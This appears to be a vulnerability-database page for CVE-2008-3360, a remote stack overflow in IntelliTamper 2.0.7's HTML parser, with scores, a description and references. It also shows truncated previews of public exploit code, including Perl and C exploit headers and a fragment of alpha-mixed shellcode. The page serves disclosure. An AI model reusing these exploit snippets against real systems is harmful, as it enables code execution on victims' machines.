Published: 29/07/2008 Updated: 29/09/2017

CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6

VMScore: 950

Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Stack-based buffer overflow in the HTML parser in IntelliTamper 2.0.7 allows remote malicious users to execute arbitrary code via a long URL in the HREF attribute of an A element, a different vulnerability than CVE-2006-2494.

Vulnerable Product	Search on Vulmon	Subscribe to Product
intellitamper intellitamper 2.0.7

/* IntelliTamper 207 (html parser) Remote Buffer Overflow Just a C version of Guido Landi's discovery Written by r0ut3r (writ3r [at] gmailcom) kit:/home/r0ut3r/public_html # gcc -o intell intellc kit:/home/r0ut3r/public_html # /intell [+] Building payload [+] Success writing to indexhtml kit:/home/r0ut3r/public_html # */ #include <std ...

/********************************************************************/ /* [Crpt] IntelliTamper v207/208 Beta 4 sploit by kralor [Crpt] */ /********************************************************************/ /* NO MORE */ /* CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIAL CONFIDENTIA ...

#!/usr/bin/perl # # k`sOSe - 07/21/2008 # # This is NOT secuniacom/advisories/20172/ # There are some BOFs in the html parser, just put a properly # formatted html file in your website and launch IntelliTamper against it use warnings; use strict; my $evil_html = '<html><head><title>ph33r</title></head& ...

#!/usr/bin/perl # use warnings; use strict; # CMD="c:\windows\system32\calcexe" # [*] x86/alpha_mixed succeeded, final size 344 my $shellcode = "\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" "\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58" "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x ...

CWE-119 http://www.securityfocus.com/bid/30317 http://www.securitytracker.com/id?1020521 http://securityreason.com/securityalert/4058 http://www.vupen.com/english/advisories/2008/2120/references https://exchange.xforce.ibmcloud.com/vulnerabilities/43876 https://www.exploit-db.com/exploits/6238 https://www.exploit-db.com/exploits/6121 https://www.exploit-db.com/exploits/6116 https://www.exploit-db.com/exploits/6103 https://nvd.nist.gov https://www.exploit-db.com/exploits/6121/

CVE-2008-3360

Vulnerability Summary

Exploits

References

Vulmon Search

About

Products

Connect